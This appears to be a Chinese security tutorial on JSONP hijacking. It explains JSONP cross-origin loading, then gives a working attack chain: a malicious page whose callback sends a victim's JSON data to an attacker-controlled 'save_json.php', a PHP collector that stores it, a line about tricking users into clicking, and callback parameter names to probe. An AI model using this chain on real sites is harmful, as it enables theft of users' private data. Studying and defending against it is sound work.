Jsonp劫持挖掘与利用

Jsonp劫持挖掘与利用

Jsonp(json with padding)是基于 JSON 格式的为处理跨域请求资源而产生的处理方案,远程调使用 JSON 文件来实现数据传递。利用script元素的开放策略,网页可以得到从其他来源动态产生的json数据,因此可以用来实现跨域。



原理

浏览器使用同源策略(SOP)对网站安全进行防护,但一定程度限制了前端功能实现,所以就有了很多跨域手段,所有带src或href属性的标签可以跨域

< script src = "..." > </script>
<img src="...">
<video src="..."></video >
<audio src = "..." > </audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe >
<link rel = "stylesheet"href = "..." >
<applet code = "..." > </applet>
<object data="..." ></object >

JSONP如何跨域呢,比如要在a.com获取b.com/getData.php的数据,可以利用 src 属性标签可以跨域的特点,在 a.com 使用<script>调用,就是用 script 引入一个文件,然后获取后面携带的 b.com 返回的参数



编写jsonp让客户端获取服务端的接口内容

服务端的jsonp.php

提供数据显示页面,callback他的作用就是回调我们的json

<?php
header('Content-type: application/json');
//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
//json数据
$json_data = '["customername1","customername2"]';
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
?>

客户端的callbackFunction.html

通过script标签来获取数据,由callbackFunction函数来输出

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>JSONP 实例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
function callbackFunction(result, methodName){
var html = '<ul>';
for(var i = 0; i < result.length; i++){
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('divCustomers').innerHTML = html;
}
</script>
<script type="text/javascript" src="http://xxxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

jquery也可以来获取接口

<!DOCTYPE html>
<html>
<head>
<title>JSONP 实例</title>
<script src="http://apps.bdimg.com/libs/jquery/1.8.3/jquery.js" rel="external nofollow" ></script>
</head>
<body>
<div id="divCustomers"></div>
<script>
$.getJSON("/try/ajax/jsonp.php?jsoncallback=?", function(data) {

var html = '<ul>';
for(var i = 0; i < data.length; i++){
html += '<li>' + data[i] + '</li>';
}
html += '</ul>';
$('#divCustomers').html(html);
});
</script>
</body>
</html>



利用条件



攻击流程

用户浏览器上保存了 HTTP 的身份认证信息和相关的cookie缓存
用户点击了恶意的链接,此时用户的浏览器会向恶意的网站发送 GET 请求
恶意网站响应用户的请求并返回恶意 JavaScript 语句,当用户的浏览器运行这些 JavaScript 语句时,它就会执行这段代码,访问目标网站,并将数据发送给恶意网站
恶意网站处理收到的 Json 数据



Json劫持攻击

jsonp 劫持就是攻击者获取了本应该传给网站其他接口的数据。

存在漏洞站点页面

首先我们站点存在jsonp调用的页面,可以看到我们的回调方法是test

编写一个恶意客户端来获取到接口信息

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>json 数据获取测试</title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>

<body>
<script>function test(data) { alert(JSON.stringify(data)); }</script>
<script src="http://xxxxxx/csrf/jsonp.php?callback=test"></script>
</body>

</html>

我们再给恶意网页添加上xmlhttp来对我们网页发起请求,将数据传递给我们

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>json 数据获取测试</title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>

<body>
<script>
function test(data) {
var xmlhttp = new XMLHttpRequest();
var url = "http://xxxxxx/save_json.php?file=" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://xxxxxx/csrf/jsonp.php?callback=test"></script>
</body>

</html>



恶意服务器处理接收的 Json 数据

save_json.php 用于保存劫持的 json 数据

<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>

之后我们只要诱骗用户点击我们的链接,我们就可以收到劫持到的数据



漏洞挖掘

搜索特定参数,大多数程序员喜欢把jsonp的回传参数命名为callback

callback=attack 
cb=attack
call=attack
jsonp=attack
jsonpcallback=attack
jsonpcb=attack
json=attack
jsoncallback=attack
jcb=attack
上一篇

Fastjson反序列化漏洞复现